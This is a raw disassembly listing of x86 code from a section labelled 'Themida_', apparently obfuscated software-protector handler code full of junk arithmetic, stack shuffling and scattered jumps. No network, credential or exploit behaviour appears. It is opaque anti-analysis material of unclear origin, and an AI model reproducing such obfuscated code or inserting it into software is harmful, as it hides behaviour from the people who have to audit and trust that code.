; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_591722:				; CODE XREF: sub_590B70+12j
		push	edx
		mov	edx, 7B4459DFh
		jmp	loc_5906B4
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59172D:				; CODE XREF: sub_590010-12A7j
		sub	eax, 2A0D12AAh
		jmp	loc_58D2ED
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4600h
		mov	[esp], eax
		jmp	loc_590AF7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	44B4h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		jmp	loc_594156
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_591765:				; CODE XREF: sub_595123-6328j
		sub	ebp, 6B080B9Ah
		pop	edi
		xor	ebp, edx
		pop	edx
		push	1F540F2Fh
		pop	edx
		jmp	loc_58D9F0
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_59177A:				; CODE XREF: Themida_:005902F9j
		push	esi
		mov	esi, 3FC775BDh
		sub	edx, esi
		jmp	loc_593A71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_591787:				; CODE XREF: sub_59089C-62AFj
		xor	[edi+24h], eax
		jmp	loc_591877
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_59178F:				; CODE XREF: sub_5938B9-88B4j
		mov	ebp, [esp+0]
		jmp	loc_58F99E
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_591797:				; CODE XREF: Themida_:0058F88Dj
		add	al, ch
		pop	ecx
		add	al, dh
		push	ecx
		mov	ch, 0CCh
		inc	ch
		sub	ch, 56h
		add	ch, 34h
		sub	al, ch
		pop	ecx
		push	ebx
		mov	bh, 0D0h
		xor	bh, 17h
		add	al, 4Dh
		add	al, bh
		sub	al, 4Dh
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_590A57
; ---------------------------------------------------------------------------


loc_5917C5:				; CODE XREF: Themida_:0059595Dj
		shl	edx, 7
		shr	edx, 4
		jmp	loc_58C7B5
; ---------------------------------------------------------------------------


loc_5917D0:				; CODE XREF: Themida_:005938DEj
		push	5892h
		mov	[esp], ebx
		mov	ebx, 63C24403h
		push	eax
		jmp	loc_58ABDC
; ---------------------------------------------------------------------------


loc_5917E3:				; CODE XREF: Themida_:00596D74j
		inc	edi
		add	edi, 6FDC9C57h
		sub	ebx, 13E8271Fh
		add	ebx, edi
		add	ebx, 13E8271Fh
		mov	edi, [esp]
		jmp	loc_58A638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_591800:				; CODE XREF: sub_58DBC4+16j
		or	eax, eax
		jz	loc_595295
		push	ebp
		push	1E48h
		mov	[esp+4+var_4], ebx
		push	ecx
		mov	ecx, 3A3E677Bh
		add	[esp+8+var_4], ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_590560
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_591823:				; CODE XREF: sub_59762D-A705j
		sub	ebp, 285E5EC5h
		jmp	loc_58C06F
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_59182E:				; CODE XREF: Themida_:0058CF33j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		jmp	loc_5933E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_59183E:				; CODE XREF: sub_595258-9CAEj
		xor	edi, [esp+8+var_8]
		pop	esp
		and	eax, esi
		jmp	loc_58A40F
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_591849:				; CODE XREF: Themida_:00595A06j
		and	edi, 13022E1Fh
		jmp	loc_593B85
; ---------------------------------------------------------------------------


loc_591854:				; CODE XREF: Themida_:005962D5j
		mov	al, 2Eh
		jmp	loc_58FA52
; ---------------------------------------------------------------------------


loc_59185B:				; CODE XREF: Themida_:0059045Aj
		push	13000451h
		pop	ebx
		jmp	loc_5925DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598028


loc_591866:				; CODE XREF: sub_598028-170Aj
		pop	edx
		not	edx
		dec	edx
		sub	edx, 88B7B349h
		mov	esi, edx
		jmp	loc_592572
; END OF FUNCTION CHUNK	FOR sub_598028
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_591877:				; CODE XREF: sub_59089C+EEEj
		pop	eax
		mov	esi, [esp+0]
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 373860A7h
		or	ebx, 78797C9Fh
		push	edi
		mov	edi, 7F797CBBh
		sub	ebx, edi
		jmp	loc_58E0F1
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------


loc_591897:				; CODE XREF: Themida_:00597BACj
		push	cx
		mov	cx, 2513h
		add	ax, cx
		pop	cx
		pop	si
		add	ax, bx
		push	esi
		mov	si, 5317h
		jmp	loc_597A11
; ---------------------------------------------------------------------------


loc_5918B1:				; CODE XREF: Themida_:00590280j
		xchg	edx, edi
		dec	edi
		sub	edi, 0AE18F2EEh
		add	ebx, edi
		pop	edi
		add	ebx, 4E8D2BADh
		sub	ebx, eax
		push	esi
		mov	esi, 4E8D2BADh
		sub	ebx, esi
		pop	esi
		push	71DCh
		mov	[esp], esi
		push	eax
		jmp	loc_58CF57
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	14D7h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5902E3
; ---------------------------------------------------------------------------


loc_5918FE:				; CODE XREF: Themida_:0059383Dj
		xor	ebp, 5B30402Ch
		jmp	loc_58BDDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_591909:				; CODE XREF: sub_590B70+3E09j
		xor	edi, 0AFCAA726h
		push	edi
		pop	esi
		pop	edi
		jmp	loc_58CD07
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_591917:				; CODE XREF: sub_58D236+6j
		mov	[esp-4+arg_0], ebx
		push	2A5F18BFh
		pop	ebx
		not	ebx
		xor	ebx, 63672FE0h
		ja	loc_591B4D
		sub	ebx, 36D208D2h
		mov	ebp, ebx
		pop	ebx
		mov	ch, 8Dh
		push	esi


loc_59193A:				; CODE XREF: Themida_:005958BAj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		jmp	loc_58C6BC
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------


loc_59194E:				; CODE XREF: Themida_:00593B2Ej
		push	eax
		jmp	loc_59645B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_591954:				; CODE XREF: sub_58F5B5:loc_594BC3j
					; sub_5EC2E8-57517j
		sub	ebp, 2C180382h
		pop	ecx
		push	ebp
		jmp	loc_58CB00
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_591961:				; CODE XREF: sub_58F5B5+375j
		jmp	loc_58C6EC
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_591966:				; CODE XREF: Themida_:00596BE1j
		pop	esi
		pop	ebp
		add	[esp], eax
		jmp	loc_58F8CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_591970:				; CODE XREF: sub_58B4D6+B66Ej
		xor	ebx, esi
		push	esi
		not	[esp+0Ch+var_C]
		pop	esi
		xchg	esi, ebx
		add	ebx, 83E9DBE6h
		jmp	loc_593969
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_591984:				; CODE XREF: sub_58E3A6+47DCj
		add	edx, ecx
		jmp	loc_596481
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58B917
; ---------------------------------------------------------------------------


loc_591993:				; CODE XREF: Themida_:00594647j
		pop	ebx
		push	small 5F24h
		mov	[esp], bx
		push	edx
		push	ecx
		mov	cl, 3Ch
		not	cl
		or	cl, 52h
		sub	cl, 7Ah
		jmp	loc_58AD05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5919AD:				; CODE XREF: sub_58F5B5+4904j
		mov	ebx, 485921D3h
		add	ebx, 0C6A2FA8h
		jmp	loc_58F704
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5919BD:				; CODE XREF: sub_590010+27A3j
		or	eax, 73A34616h
		add	eax, 270368AAh
		jmp	loc_58C2D8
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5919CC:				; CODE XREF: sub_58C17E-CB5j
					; sub_595E21-914Aj
		sub	eax, 4
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		jmp	loc_58AC8B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5919DA:				; CODE XREF: sub_5916C4+C72j
		neg	ebp
		push	edi
		jmp	loc_595716
; END OF FUNCTION CHUNK	FOR sub_5916C4

; =============== S U B	R O U T	I N E =======================================



sub_5919E2	proc near		; CODE XREF: sub_590E26+20D1j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A4AE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058AF7B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B4FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B5C2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058CBD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D36C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058D4D4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058D6E8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058DB6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E794 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058EF1B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F1B9 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00590005 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005902BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590373 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00590B96 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059348F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005946E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594E8C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595564 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595CF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059615A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005973F1 SIZE 00000030 BYTES

		push	ebx
		add	dword ptr [esp+0], 4B830C37h
		pop	esi
		push	edx
		push	edi
		mov	edi, 13BC364Eh
		jmp	loc_58B5C2
sub_5919E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5919F7:				; CODE XREF: Themida_:0058E91Ej
		push	edi
		mov	edi, 0AF314A0h
		add	edi, 61AA7A20h
		add	edi, 0A4DD7249h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_590F87
; ---------------------------------------------------------------------------


loc_591A19:				; CODE XREF: Themida_:0058F31Bj
		mov	dl, al
		pop	eax
		xor	ah, dl
		pop	edx
		and	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	ebx
		mov	bl, 5Fh
		mov	dl, 0D3h
		sub	dl, bl
		pop	ebx
		jmp	loc_5961DF
; ---------------------------------------------------------------------------


loc_591A36:				; CODE XREF: Themida_:0058C3B7j
		sub	eax, edx
		jmp	loc_5973A9
; ---------------------------------------------------------------------------


loc_591A3D:				; CODE XREF: Themida_:005933F8j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 78E6526Bh
		add	edi, 2E7D7FA0h
		sub	edi, 9F9257BDh
		push	ebp
		push	ecx
		mov	ecx, edi
		mov	ebp, ecx
		pop	ecx
		push	ebp
		push	ebp
		mov	ebp, 384A3494h
		jmp	loc_58B80D
; ---------------------------------------------------------------------------


loc_591A72:				; CODE XREF: Themida_:0058C541j
		sub	ecx, 7BE117A2h
		neg	ecx
		sub	ecx, 17E1A876h
		push	ecx
		add	dword ptr [esp], 55A96E03h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 55A96E03h
		jmp	loc_58F179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591A9C:				; CODE XREF: sub_5916C4+1333j
		pop	edx
		pop	edi
		mov	edx, [esp+0]
		add	esp, 4
		jmp	sub_58F091
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591AAC:				; CODE XREF: sub_590467+570Aj
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_58AE9C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_591AC2:				; CODE XREF: Themida_:0058A95Aj
					; sub_595E21-7D4j
		neg	ecx
		jnz	loc_58FD90
		jmp	loc_5934B9
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		mov	bh, dl
		push	ecx


loc_591AD9:				; CODE XREF: Themida_:0059458Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1A730D6Ah
		jmp	loc_590285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_591AF7:				; CODE XREF: sub_592857+7j
		push	ecx
		push	55BB4B17h
		jmp	loc_596C75
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591B02:				; CODE XREF: sub_590467+73B1j
		pop	ecx
		inc	eax
		and	eax, 33685107h
		shl	eax, 1
		push	ebx
		mov	ebx, 1FF398Dh
		jmp	loc_59788D
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_591B16:				; CODE XREF: Themida_:00595E6Bj
		mov	cx, dx
		jmp	loc_590AD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_591B1E:				; CODE XREF: sub_590010+4CE2j
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	0C70CDF98h
		pop	esi
		jmp	loc_58CADA
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_591B35:				; CODE XREF: Themida_:0058B123j
		push	edx
		mov	edx, esp
		jmp	loc_58CE33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_591B3D:				; CODE XREF: sub_5938B9-8358j
					; sub_59762D-2093j
		dec	edx
		jmp	loc_58F6A0
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594FD6


loc_591B43:				; CODE XREF: sub_594FD6+209Bj
		push	eax
		mov	ah, ch
		mov	dh, ah
		jmp	loc_58B154
; END OF FUNCTION CHUNK	FOR sub_594FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_591B4D:				; CODE XREF: sub_58D236+46F2j
		sub	ebx, 36D208D2h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_593B4E
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_591B5B:				; CODE XREF: sub_58F5B5+6CCBj
		add	ebp, 586A181Ah
		add	ebp, 1BA2E540h
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_59518A
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_591B70:				; CODE XREF: Themida_:0058C858j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58C85D
; ---------------------------------------------------------------------------


loc_591B7B:				; CODE XREF: Themida_:00590604j
		pop	edi
		add	edi, 480C5E91h
		add	edi, 0B5315109h
		mov	ebx, edi
		jmp	loc_58D835
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_591B8F:				; CODE XREF: sub_595258-728Dj
					; Themida_:0058E39Aj
		add	esp, 4
		jmp	loc_591E6E
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_591B9A:				; CODE XREF: sub_590B70-5656j
		pop	eax
		jmp	loc_594971
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591BA0:				; CODE XREF: sub_590467+608Aj
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+6+var_6], edx
		mov	dl, 8
		jmp	loc_595C9B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_591BB3:				; CODE XREF: Themida_:00592014j
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58C397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591BD6:				; CODE XREF: sub_58C17E+7500j
		push	esi
		mov	esi, 0EF9E425Ah
		mov	edi, esi
		mov	esi, [esp+2+var_4+2]
		jmp	loc_58FA36
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_591BE6:				; CODE XREF: Themida_:0059742Cj
		add	esi, 4
		add	esi, 4
		jmp	loc_58B2A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591BF4:				; CODE XREF: sub_58C17E+74E0j
					; sub_58D236+A513j
		push	edi
		mov	edi, 2
		add	ecx, 69122792h
		add	ecx, 752922A3h
		add	ecx, edi
		jmp	loc_58F1ED
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_591C0D:				; CODE XREF: Themida_:0058E1C8j
		add	esi, 0F2886CF2h
		push	esi
		push	edi
		mov	edi, 17022448h
		jmp	loc_58ECAF
; ---------------------------------------------------------------------------


loc_591C1F:				; CODE XREF: Themida_:00597ABCj
		pop	eax
		push	ebx
		mov	ebx, 23B32D4Eh
		not	ebx
		add	ebx, 23B32D51h
		add	esi, 30857100h
		add	esi, ebx
		push	eax
		push	ecx
		push	61247D12h
		pop	ecx
		jmp	loc_58DE00
; ---------------------------------------------------------------------------


loc_591C43:				; CODE XREF: Themida_:005911FDj
		js	loc_5977F2
		sub	esi, 5875546Eh
		add	esi, 4C5D6ABAh
		xor	esi, 0A0C09E4h
		mov	edi, esi
		pop	esi
		xor	eax, edi
		pop	edi
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edi, 7
		or	edi, 256E492Bh
		sub	edi, 0ECEABED8h
		add	eax, edi
		jmp	loc_596759
; ---------------------------------------------------------------------------


loc_591C7F:				; CODE XREF: Themida_:0058A3B4j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_594A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_591C8F:				; CODE XREF: sub_595123-DCj
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_58EA29
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_591C97:				; CODE XREF: Themida_:0058EE21j
		push	ebx
		push	eax
		jmp	loc_5967F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_591C9E:				; CODE XREF: sub_5EC2E8-58412j
		add	ebx, 0E0C6333h
		pop	edi
		push	eax
		mov	eax, 7E744D80h
		sub	eax, 0C2A0628h
		neg	eax
		neg	eax
		inc	eax
		sub	eax, 6FA30578h
		sub	eax, 0EE4005F2h
		add	ebx, eax
		pop	eax
		push	dword ptr [eax]
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591CC9:				; CODE XREF: sub_5916C4-316j
		mov	ebx, 53D67ECFh
		not	ebx
		or	ebx, 5C2625D5h
		jmp	loc_58B27B
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591CDB:				; CODE XREF: sub_590467+5AE8j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591CE7:				; CODE XREF: sub_58C17E+74B3j
		add	eax, edx
		jmp	loc_58BC67
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591CEE:				; CODE XREF: sub_5916C4-51BFj
		jnb	loc_593D62
		shr	esi, 5
		jmp	loc_58DA99
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		push	ecx
		mov	ebx, edi


loc_591CFF:				; CODE XREF: Themida_:0058F048j
		mov	ebx, 49E9299Ah
		not	ebx
		jmp	loc_59467C

; =============== S U B	R O U T	I N E =======================================



sub_591D0B	proc near		; CODE XREF: sub_5916C4+3450j

var_2		= word ptr -2

		push	ebx
		mov	ebx, 43781F68h
		xor	eax, ebx
		pop	ebx
		movzx	ax, byte ptr [eax]
		push	small 62D8h
		mov	[esp+2+var_2], ax
		jmp	loc_58A2CE
sub_591D0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_591D25:				; CODE XREF: sub_595E21-38E6j
		mov	[esp+0], ebp
		xchg	ebp, [esp+0]
		jmp	loc_5923A5
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_591D30:				; CODE XREF: sub_592D25-8834j
		inc	esi
		dec	esi
		add	esi, 13442878h
		add	esi, 0E35A7AB1h
		xor	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_5937B2
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_594784
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591D61:				; CODE XREF: sub_58C17E-18CAj
		mov	ah, 6Eh
		mov	dl, 0A5h
		push	ax
		mov	al, 53h
		add	dl, al
		pop	ax
		sub	dl, ah
		push	ecx
		mov	cl, 4Dh
		jmp	loc_590BC8
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_591D77:				; CODE XREF: Themida_:00590872j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591D8C:				; CODE XREF: Themida_:005948FEj
		xor	ecx, 0A7F3C3D2h
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 1C171621h
		inc	ecx
		shl	ecx, 6
		sub	ecx, 35DB3C92h
		dec	ecx
		jmp	loc_591711
; ---------------------------------------------------------------------------


loc_591DAB:				; CODE XREF: Themida_:00595BC5j
		dec	ebp
		jo	loc_58EF07
		xor	ebp, 0C8391E51h
		mov	ecx, ebp
		pop	ebp
		and	ecx, 34DF6AD7h
		jnz	loc_58DB26
		xor	ecx, 1FA82FFAh
		add	ecx, 1
		jmp	loc_58CDF5
; ---------------------------------------------------------------------------


loc_591DD5:				; CODE XREF: Themida_:loc_58F0AAj
		dec	dh
		jo	loc_597769
		xor	dh, 0DEh
		jmp	loc_593320
; ---------------------------------------------------------------------------


loc_591DE5:				; CODE XREF: Themida_:0058B67Fj
		xor	ecx, esi
		jmp	loc_58F6E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591DEC:				; CODE XREF: sub_58C17E+2B9Bj
		mov	esi, 40314BC9h
		jmp	loc_58F5C5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591DF6:				; CODE XREF: sub_5916C4-2986j
		sub	[esp+arg_4], ebp
		pop	ebp
		pop	ecx
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		jmp	loc_592A82
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_591E0B:				; CODE XREF: Themida_:0058E1B0j
		dec	esi
		jl	loc_58DDE8
		xor	esi, 0D066F37h
		jp	loc_58BC2F
		shr	esi, 1
		push	esp


loc_591E21:				; CODE XREF: Themida_:0058DE5Aj
		push	ebp
		jmp	loc_593838
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591E27:				; CODE XREF: sub_58C17E-1132j
		push	esi
		mov	esi, 1AD74E82h
		add	esi, 51EA1558h
		add	esi, 0A111F2FCh
		not	esi
		jmp	loc_58EE3B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_591E40:				; CODE XREF: Themida_:0058C4D8j
		or	ebx, 1CB7621Eh
		jge	loc_59354C
		push	edx
		push	0E9159F2h
		mov	edx, [esp]
		jmp	loc_597F33
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591E69:				; CODE XREF: Themida_:005962F2j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_591E6E:				; CODE XREF: sub_595258-36C3j
		add	esp, 4
		shl	ebp, 6
		shl	ebp, 7
		or	ebp, 682E6ACDh
		sub	ebp, 0FE68AA1Ah
		xor	esi, ebp
		mov	ebp, [esp+4+var_4]
		push	edi
		jmp	loc_58B596
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_591E91:				; CODE XREF: Themida_:0058B929j
					; Themida_:00594BBEj
		and	esi, 14E83EF4h
		shl	esi, 8
		sub	esi, 1D327C24h
		xor	esi, 4B0027D8h
		jmp	loc_58B7A0
; ---------------------------------------------------------------------------


loc_591EAB:				; CODE XREF: Themida_:00596FCBj
		add	[esp+4], esi
		pop	esi
		jmp	loc_596F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591EB5:				; CODE XREF: sub_590467-3214j
		mov	edi, edx
		pop	edx
		add	ebx, edi
		jmp	loc_58FCB2
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_591EBF:				; CODE XREF: Themida_:0058D734j
		jz	loc_58FDA1
		or	ebx, 3D764727h
		jp	loc_595857
		sub	ebx, 0CF1CFB3Ah
		mov	dh, al
		mov	eax, edx
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_591EDB:				; CODE XREF: sub_5938B9-11A2j
		pop	edi
		add	esp, 4
		jmp	sub_594131
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_591EE7:				; CODE XREF: Themida_:00595D0Fj
		pop	ebx
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58E7CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_591EF3:				; CODE XREF: sub_5938B9+10F1j
		push	small 3638h
		jmp	loc_58A890
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_591EFC:				; CODE XREF: Themida_:00596D49j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
